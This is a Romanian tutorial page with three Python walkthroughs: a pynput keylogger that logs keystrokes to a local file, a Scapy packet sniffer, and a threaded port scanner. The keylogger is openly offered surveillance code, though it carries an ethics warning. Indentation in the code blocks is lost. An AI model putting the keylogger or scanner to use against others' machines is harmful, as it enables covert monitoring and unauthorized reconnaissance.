Soluții

Crearea unui Keylogger Simplu în Python

În acest tutorial, vom crea un keylogger simplu folosind Python și biblioteca “pynput”.

Pasul 1: Instalarea Bibliotecii Pynput

Instalați biblioteca “pynput”, care ne va permite să monitorizăm și să controlăm tastatura și mouse-ul.

pip install pynput

Pasul 2: Importarea Bibliotecilor Necesare

Importați biblioteca “pynput” și alte module necesare.

from pynput import keyboard
import logging

Pasul 3: Configurarea Logging-ului

Configurați modul în care vor fi stocate datele înregistrate. În acest exemplu, vom salva apăsările de taste într-un fișier text.

log_file = “keylog.txt”
logging.basicConfig(filename=log_file, level=logging.DEBUG, format=’%(asctime)s: %(message)s’)

Pasul 4: Definirea Funcțiilor pentru Înregistrarea Tastelor

Definiți funcțiile care vor fi apelate pentru fiecare apăsare și eliberare de tastă.

def on_press(key):
try:
logging.info(f”Key pressed: {key.char}”)
except AttributeError:
logging.info(f”Special key pressed: {key}”)

def on_release(key):
if key == keyboard.Key.esc:
# Oprirea keylogger-ului la apăsarea tastei Esc
return False

Pasul 5: Începerea Monitorizării Tastaturii

Folosiți biblioteca “pynput” pentru a începe monitorizarea tastaturii.

with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()

Pasul 6: Rularea Scriptului

Creați un fișier Python cu codul de mai sus și rulați-l. Acesta va începe să înregistreze toate apăsările de taste într-un fișier numit “keylog.txt”.

if __name__ == “__main__”:
# Pornește monitorizarea tastaturii
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()

Pasul 7: Utilizare și Etică

Este foarte important să folosiți acest keylogger doar în scopuri educaționale și etice. Înregistrarea apăsărilor de taste fără consimțământul utilizatorului este ilegală și neetică. Asigurați-vă că aveți permisiunea înainte de a utiliza acest tip de software.

Ați creat un keylogger simplu folosind Python. Acest tutorial vă oferă o bază pentru înțelegerea modului în care funcționează keylogger-ele, dar trebuie folosit responsabil și în conformitate cu legislația aplicabilă.

[mai mult...]

Monitorizarea Rețelei cu Scapy în Python

În acest tutorial vom crea un script Python care va monitoriza traficul de rețea și va afișa informații despre pachetele capturate folosind biblioteca scapy.

Pasul 1: Instalarea Bibliotecii Scapy

Pentru a utiliza “scapy”, trebuie să îl instalăm mai întâi. Puteți face acest lucru folosind pip:

pip install scapy

Pasul 2: Importarea Bibliotecii Scapy

Importați biblioteca “scapy” și alte module necesare în scriptul dvs. Python.

from scapy.all import sniff, ARP, IP, TCP, UDP

Pasul 3: Definirea Funcției de Monitorizare

Creați o funcție care va fi apelată pentru fiecare pachet capturat. Această funcție va procesa pachetele și va afișa informații relevante despre acestea.

def packet_callback(packet):
if ARP in packet:
print(f”ARP Packet: {packet[ARP].summary()}”)
elif IP in packet:
ip_src = packet[IP].src
ip_dst = packet[IP].dst
if TCP in packet:
print(f”TCP Packet: {ip_src} -> {ip_dst} (Port: {packet[TCP].sport} -> {packet[TCP].dport})”)
elif UDP in packet:
print(f”UDP Packet: {ip_src} -> {ip_dst} (Port: {packet[UDP].sport} -> {packet[UDP].dport})”)
else:
print(f”IP Packet: {ip_src} -> {ip_dst}”)

Pasul 4: Capturarea Pachetelor

Folosiți funcția “sniff” din scapy pentru a captura pachetele de rețea. Puteți specifica interfața de rețea pe care să se facă capturarea și numărul de pachete pe care doriți să le capturați.

def start_sniffing(interface):
print(f”Sniffing on {interface}…”)
sniff(iface=interface, prn=packet_callback, store=0)

Pasul 5: Rularea Scriptului

Creați un bloc principal care va rula funcția de monitorizare a rețelei. Specificați interfața de rețea pe care doriți să faceți capturarea. Puteți afla interfața dvs. de rețea folosind comanda “ifconfig” pe Linux sau “ipconfig” pe Windows.

if __name__ == “__main__”:
import sys
if len(sys.argv) != 2:
print(“Usage: python network_monitor.py <interface>”)
sys.exit(1)

interface = sys.argv[1]
start_sniffing(interface)

Pasul 6: Testarea Scriptului

Rulați scriptul și specificați interfața de rețea pe care doriți să o monitorizați. De exemplu, pe Linux ar putea fi “eth0” sau “wlan0”, iar pe Windows ar putea fi ceva de genul “Ethernet” sau “Wi-Fi”.

python network_monitor.py eth0

Acest script va începe să captureze și să afișeze informații despre pachetele de rețea care trec prin interfața specificată. Puteți extinde funcționalitatea pentru a include alte tipuri de pachete sau pentru a salva rezultatele într-un fișier de jurnal.

[mai mult...]

Crearea unui Scanner de Porturi în Python

Iată un tutorial pentru crearea unui script simplu de scanare a porturilor folosind Python și biblioteca socket:

Tutorial: Crearea unui Scanner de Porturi în Python

În acest tutorial, vom crea un script Python simplu care va scana porturile deschise pe un anumit host (adresă IP).

Pasul 1: Importarea Bibliotecilor Necesare

Vom folosi biblioteca “socket” pentru a deschide conexiuni către porturile de pe un anumit host și “threading” pentru a îmbunătăți performanța scannerului nostru.

import socket
import threading
from queue import Queue

Pasul 2: Definirea Funcțiilor de Scanare

Vom defini funcțiile care vor face scanarea propriu-zisă și vor raporta porturile deschise.

# Define the target host
target = ‘127.0.0.1’ # Change this to the IP address you want to scan

# Define the port range
port_range = (1, 1024)

# Queue to manage the port numbers
queue = Queue()

# List to store open ports
open_ports = []

def port_scan(port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((target, port))
if result == 0:
open_ports.append(port)
sock.close()
except socket.error:
pass

def threader():
while True:
worker = queue.get()
port_scan(worker)
queue.task_done()

Pasul 3: Crearea Funcției de Scanare

Vom crea funcția principală care va iniția scanarea porturilor pe host-ul țintă.

def start_scan():
# Starting the threading process
for _ in range(100):
thread = threading.Thread(target=threader)
thread.daemon = True
thread.start()

for port in range(port_range[0], port_range[1] + 1):
queue.put(port)

queue.join()

print(“Open ports:”, open_ports)

Pasul 4: Rularea Scriptului de Scanare

Apelați funcția “start_scan()” pentru a începe scanarea porturilor pe host-ul specificat.

if __name__ == “__main__”:
print(f”Scanning target: {target}”)
start_scan()

Pasul 5: Optimizarea și Extinderea Scannerului de Porturi

Extindeți funcționalitatea scannerului de porturi pentru a include opțiuni precum:

  • Specificarea host-ului și a intervalului de porturi din linia de comandă.
  • Afișarea numelui serviciului care rulează pe porturile deschise.
  • Salvarea rezultatelor într-un fișier de jurnal.

Iată un exemplu de cum să citiți host-ul și intervalul de porturi din linia de comandă:

import sys

if len(sys.argv) == 2:
target = sys.argv[1]
elif len(sys.argv) == 3:
target = sys.argv[1]
port_range = (int(sys.argv[2].split(‘-‘)[0]), int(sys.argv[2].split(‘-‘)[1]))
else:
print(“Usage: python port_scanner.py <target> [port_range]”)
sys.exit(1)

print(f”Scanning target: {target} in range: {port_range}”)
start_scan()

Acest script vă permite să verificați rapid porturile deschise pe un anumit host și poate fi extins pentru a include funcționalități avansate de scanare și raportare.

[mai mult...]